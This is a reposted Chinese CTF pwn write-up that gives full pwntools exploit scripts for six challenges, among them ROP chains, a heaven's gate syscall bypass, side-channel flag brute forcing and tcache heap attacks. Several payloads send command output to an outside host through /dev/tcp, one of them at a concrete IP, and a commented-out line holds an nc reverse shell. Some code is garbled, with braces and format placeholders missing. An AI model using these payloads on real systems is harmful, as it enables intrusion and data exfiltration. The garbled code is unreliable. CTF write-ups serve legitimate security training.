CTF pwn 方向部分题解
Posted kali_Ma
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF pwn 方向部分题解相关的知识,希望对你有一定的参考价值。
dataleak
用”\\或者/都可以跳过2个\\x00,但是每次用”\\会拷贝4个字节到buf中,导致最后的3字节数据无法泄露,所以用/\\配合垃圾数据填充来控制泄露字符串。
exp:
#!python
#coding:utf-8
from pwn import *
import subprocess, sys, os
from time import sleep
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './cJSON_PWN'
ip = '124.70.202.226'
port = 2101
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
LD_LIBRARY_PATH = './lib/'
LD = LD_LIBRARY_PATH+'ld.so.6'
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
if LIBC_VERSION:
if HAS_LD:
p = process([LD, elf_path], env="LD_LIBRARY_PATH": LD_LIBRARY_PATH)
else:
p = process(elf_path, env="LD_LIBRARY_PATH": LD_LIBRARY_PATH)
else:
p = process(elf_path)
else:
p = remote(ip, port)
run(0)
payload = ' '*0xc + '"\\\\'
p.send(payload)
payload = 'a'*8 + ' '*4 + '"\\\\'
p.send(payload)
part1 = p.recv(11)
payload = 'a'*5 + ' '*7 + '/*'
p.send(payload)
payload = ' '*12 + '/*'
p.send(payload)
part2 = p.recv(11)
complete = part1 + part2
sa('data', complete)
p.interactive()
【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线
gadget
有栈溢出,但是只能使用调用号为0,5,37的系统调用,5是32位下的open,所以利用思路是先heaven’s gate切换到32位来open flag,再回到64位read flag,最后找一个gadget用来侧信道获取flag。
主要难点在于找gadget,有4个比较重要的gadget。首先是0x40A756用于设置rdx,但需要zf位为1才能正常执行,因此用0x40106D来设置zf。然后是0x40172A用来栈迁移,最后用0x408F72侧信道方式拿到flag。
exp:
from pwn import *
read_addr=0x401170
retfq=0x4011EC
int80=0x4011F3
syscall=0x408865
flag=0x40D480
pop_rax=0x401001
pop_rbp=0x401102
pop_rbx_24=0x403072
pop_rcx=0x4092D0
pop_rdi_8=0x401734
pop_rsi_16=0x401732
pop_rdx_48=0x40A756
flag_addr=0x40D260
lea_rsp=0x40172A
set2z=0x40106D
cmpa=0x408F72
loop=0x40A765
bit32=p64(0x23)
bit64=p32(0x33)
fmap=[ord('_')]
fmap+=[i for i in range(ord('a'),ord('z')+1)]
fmap+=[i for i in range(ord('0'),ord('9')+1)]
fmap+=[i for i in range(ord('A'),ord('Z')+1)]
fmap+=[0,ord('@'),ord('-'),ord(''),ord(''),ord('?'),ord('!')]
f=''
c=len(f)
if_ok=False
while(not if_ok):
caddr=flag+c
sign=0
for guess in fmap:
#sh=process('./gadget')
sh=remote('121.37.135.138',2102)
payload="a"*0x38+p64(pop_rdi_8)+p64(flag_addr)+p64(0)+p64(read_addr)+p64(set2z)+p64(pop_rdx_48)+p64(0)*7
payload+=p64(pop_rbp)+p64(flag_addr+8-0x28+0x20)+p64(lea_rsp)
#print(hex(len(payload)))
sh.send(payload.ljust(0xc0,'a'))
payload2="flag\\x00\\x00\\x00\\x00"
payload2+=p64(retfq)+p64(pop_rbx_24)+bit32+p32(flag_addr)+p32(0)*3+p32(pop_rcx)+p32(0)+p32(pop_rax)+p32(5)+p32(int80)
payload2+=p32(retfq)+p32(pop_rdi_8)+bit64
payload2+=p64(flag_addr+len(payload2)+24)+p64(0)+p64(read_addr)
#print(hex(len(payload2)))
sh.send(payload2.ljust(0xc0,'\\x00'))
payload3=p64(pop_rdi_8)+p64(3)+p64(0)+p64(pop_rsi_16)+p64(flag)+p64(0)*2+p64(pop_rax)+p64(0)+p64(syscall)
payload3+=p64(pop_rdi_8)+p64(caddr+1)+p64(0)+p64(read_addr)
payload3+=p64(pop_rsi_16)+p64(0)+p64(caddr-0x38)+p64(0)+p64(pop_rax)+p64(guess)+p64(cmpa)
#print(hex(len(payload3)))
sh.send(payload3.ljust(0xc0,'\\x00'))
payload4='\\x00'*0xf+p64(0)
sh.send(payload4)
try:
sh.send('ok')
sh.recv(timeout=0.5)
if(not guess):
if_ok=True
sign=1
break
f+=chr(guess)
print(f)
sh.close()
sign=1
break
except:
sh.close()
if(not sign):
f+='#'
c=c+1
print(f)
sh.interactive()
Christmas_song
难点在于看懂slang语言的语法,主要在源码com目录下parser.y和scanner.l这两个文件中。可知定义变量语法为gift 变量名 is xxx,xxx可以为整数也可以为字符串,其中is等同于运算符‘=’,为字符串时变量实际上是一个堆块地址。调用函数的语法为reindeer 函数名 delivering gift 参数1 参数2 参数3 brings back gift 返回值; ,其中返回值可省略。逆向可知Dancer和Dasher两个函数分别可以打开和读取flag,之后用相当于strncmp的Prancer函数比较读入的flag侧信道获取flag即可。
exp:
from pwn import *
import string
code="""
gift a is "/home/ctf/flag";
gift b is 0;
gift c is 0;
gift d is 64;
gift len is ;
gift test is "abcde";
gift flag is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
gift guess is "";
reindeer Dancer delivering gift a b c brings back gift fd;
reindeer Dasher delivering gift fd flag d;
reindeer Prancer delivering gift flag guess len brings back gift e;
gift f is test+e;
reindeer Dancer delivering gift f b c;
"""
flag=""
if_ok=False
dic = '_'+string.ascii_letters + string.digits + ""
while(not if_ok):
for x in dic:
sh=remote("124.71.144.133",2144)
flag=flag+x
c=len(flag)
c_code=code.format(c,flag)
sh.sendlineafter("(EOF to finish):\\n",c_code+"EOF")
sh.recvuntil('error')
res=sh.recvline()
#print(res)
if(res[-6:-1]!="abcde"):
flag=flag[:-1]
sh.close()
else:
sh.close()
print(flag)
if(x==''):
if_ok=True
break
Christmas_bash
远程爆破出sleep的偏移为0xed850,但搜不到对应的libc,最后才发现版本为2.34。根据sleep算出system,pop rdi和environ的值,用他们来定义变量,再定义一个存储vm_call_lambda返回时rsp的变量stack。然后调用一个不存在的函数,其返回值为一个堆上的地址,调试得到它与之前定义的变量地址的偏移。然后将environ上的栈地址拷贝到stack处,再根据偏移得到vm_call_lambda返回时的rsp。最后把各变量值用memcpy拷贝到rsp处构造出rop链。
code:
code="""
gift libcbase is sleep-972880;
gift environ is libcbase+2232000;
gift stack is sleep-16;
gift len is 8;
gift cmd is "bash -c '/home/ctf/getflag > /dev/tcp/ip/7777'";
gift cmdaddr is cmd+1;
reindeer haha delivering gift len len len brings back gift addr;
gift stackaddr is addr+5848;
reindeer Vixen delivering gift stackaddr environ len;
gift stack is stack-1184;
gift poprdi is libcbase+190149;
gift system is libcbase+346848;
gift ret is poprdi+1;
gift cmdaddraddr is addr+6104;
gift systemaddr is addr+6488;
gift poprdiaddr is addr+6456;
gift retaddr is addr+6520;
reindeer Vixen delivering gift stack retaddr len;
gift stacka is stack+8;
reindeer Vixen delivering gift stacka poprdiaddr len;
gift stacka is stacka+8;
reindeer Vixen delivering gift stacka cmdaddraddr len;
gift stacka is stacka+8;
reindeer Vixen delivering gift stacka systemaddr len;
gift stacka is stacka+8;
"""
Christmas_Wishes
"字符截断parserstring堆长度统计逻辑,然后之后可以拷贝很长的字符串,造成堆溢出,键同名free,tcacheattack
exp:
#!python
#coding:utf-8
from pwn import *
import subprocess, sys, os
from time import sleep
def chose(idx):
sla('Chose', str(idx))
def add(name = '', value = ''):
global payload
payload += '"":"",'.format(name, value)
def package(content):
if len(content) & 1:
print('eeee')
ans = ''
for i in range(len(content)/2):
ans += '\\\\u' + content[i*2:i*2+2].encode('hex')
return ans
libc_addr = 0x7fd19f744000
loadlibc()
libc.address = libc_addr
# print(hex(libc.sym['__free_hook']))
shell = 'bash -c \\'/This_is_your_gift > /dev/tcp/ip/7777\\''
# shell = 'nc ip 7777|/bin/bash|nc ip 9999'
global payload
payload = ''
# for i in range(10):
# add('a'*0x18 + str(i), 'a'*0x20)
add('a'*0x18 + 'a1', 'a'*0x20)
add('a'*0x18 + 'a2', 'a'*0x20)
add('a'*0x18 + 'a3', 'a'*0x20)
add('a'*0x18 + 'a4', 'a'*0x20)
add('a5', shell)
add('a'*0x18 + 'a1', 'b'*0x10)
add('a'*0x18 + 'a3', 'b'*0x10)
add('a'*0x20 + '\\\\"' + 'a'*0x6 + package(p64(0x31)) + package(p64(libc.sym['__free_hook'])), 'a'*0x20)
add(package(p64(libc.sym['system'])), 'a'*0x10)
add('a5', 'aa')
payload = '' + payload + ''
print(payload)
with open('payload', 'w') as f:
f.write(payload)
payload:
"aaaaaaaaaaaaaaaaaaaaaaaaa1":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa2":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa3":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa4":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","a5":"bash -c '/This_is_your_gift > /dev/tcp/49.232.202.102/7777'","aaaaaaaaaaaaaaaaaaaaaaaaa1":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaa3":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"aaaaaa\\u3100\\u0000\\u0000\\u0000\\u705e\\u909f\\ud17f\\u0000":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","\\u50ce\\u789f\\ud17f\\u0000":"aaaaaaaaaaaaaaaa","a5":"aa",
Checkin_ret2text
自动化写不出,半自动跑,先下载文件,然后151行pause前手动分析完对应参数
exp:
#!python
#coding:utf-8
from pwn import *
import subprocess, sys, os
from time import sleep
from hashlib import sha256
import base64
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './x2.elf'
ip = '123.60.82.85'
port = 1447
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
LD_LIBRARY_PATH = './lib/'
LD = LD_LIBRARY_PATH+'ld.so.6'
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
if LIBC_VERSION:
if HAS_LD:
p = process([LD, elf_path], env="LD_LIBRARY_PATH": LD_LIBRARY_PATH)
else:
p = process(elf_path, env="LD_LIBRARY_PATH": LD_LIBRARY_PATH)
else:
p = process(elf_path)
else:
p = remote(ip, port)
def debug(cmdstr=''):
if HAS_DEBUG and LIBC_VERSION:
DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'
cmd='source /opt/patchelf/loadsym.py\\n'
cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so\\n'
cmdstr=cmd+cmdstr
gdb.attach(p, cmdstr)
pause()
def loadlibc(filename = remote_libc_path):
global libc
libc = ELF(filename, checksec = False)
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
if type(s) == int:
s = p.recv(s)
ret = u64(s.ljust(8, '\\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('Chose', str(idx))
def add(idx, size, content = '\\n'):
chose(1)
sla('Index', str(idx))
sla('Size', str(size))
sa('Content', content)
def edit(idx, content):
chose(2)
sla('Index', str(idx))
sa('Content', content)
def free(idx):
chose(3)
sla('Index', str(idx))
def show(idx):
chose(4)
sla('Index', str(idx))
def hash_digit(af, hash_hex):
print(af, hash_hex)
ch = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in ch:
for j in ch:
for k in ch:
for h in ch:
if sha256(i + j + k + h + af).hexdigest() == hash_hex:
return i + j + k + h
def get_file(filename):
p.recvuntil('sha256(xxxx + ')
hash = p.recvuntil(')')[:-1]
p.recvuntil('== ')
hash_hex = p.recvuntil('\\n')[:-2]
ans = hash_digit(hash, hash_hex)
print(ans)
sla('give me xxxx:\\n', ans)
base64_e = p.recvuntil('==end==\\n')[:-8]
with open(filename, 'wb') as f:
global elf
elf = base64.b64decode(base64_e)
f.write(elf)
def analysis(begin_addr):
begin_addr += 0x18
ranks = []
def u32(content):
return int(content[::-1].encode('hex'), 16)
def insert(vec):
for i, v in enumerate(ranks):
if vec[0] < v[0]:
ranks.insert(i, vec)
return
ranks.append(vec)
def get_a_string(addr):
ans = ''
while elf[addr] != '\\0':
ans += elf[addr]
addr += 1
return ans
addr = begin_addr
n = ord(elf[addr+1])
addr += 13
for i in range(n):
rk = u32(elf[addr+3: addr+7])
va = u32(elf[addr+9])
if va == 0x88:
if elf[addr+7: addr+9] == '\\xf7\\xd0':
va = 0xff
addr -= 1
if va == 0x2b:
if elf[addr+7: addr+9] == '\\x88\\x85':
va = 0
addr -= 3
# print(hex(rk))
addr += 0x10
insert((rk, va))
# for i in ranks:
# print(hex(i[0]), hex(i[1]))
print(hex(addr))
addr += 0xa
string_addr = addr + u32(elf[addr: addr+4]) + 4
# print(hex(string_addr))
string = get_a_string(string_addr)
# print(string)
ans = ''
for i, v in enumerate(ranks):
ans += chr(ord(string[i])^v[1])
return ans
run(0)
get_file('x2.elf')
pause()
import datas
data = datas.data.split('\\n')[-2::-1]
for i, v in enumerate(data):
tmp = v.split(' ')
if len(tmp) == 1 or len(tmp) == 2:
if tmp[0] == 'EOF':
data[i] = 'a' * int(tmp[1], 16)
else:
data[i] = analysis(int(tmp[0], 16))
else:
data[i] = ['0'] * int(tmp[0])
data[i][int(tmp[1])] = tmp[2]
print(data)
for i in data:
if type(i) == str:
sa(':', i)
else:
p.recvuntil(':')
for j in i:
p.send(j+' ')
backdoor = p64(0x401354) * 10
payload = 'a'*datas.offset + backdoor
p.sendline(payload)
sleep(0.1)
p.sendline('cat flag')
p.interactive()
分析结果填入datas.py
data = '''8 0 31292
dde6
DA3E
8 0 0
C926
6 0 0
EOF 24
'''
offset = 0x0
然后跑就出了
以上是关于CTF pwn 方向部分题解的主要内容,如果未能解决你的问题,请参考以下文章
夺旗赛 CTF 六大方向基础工具简介集合(MISC,WEB,Crypto,Reverse,Pwn,Mobile)
[ctf pwn] heap exploitation:ptmalloc的原理
[ctf pwn] heap exploitation:ptmalloc的原理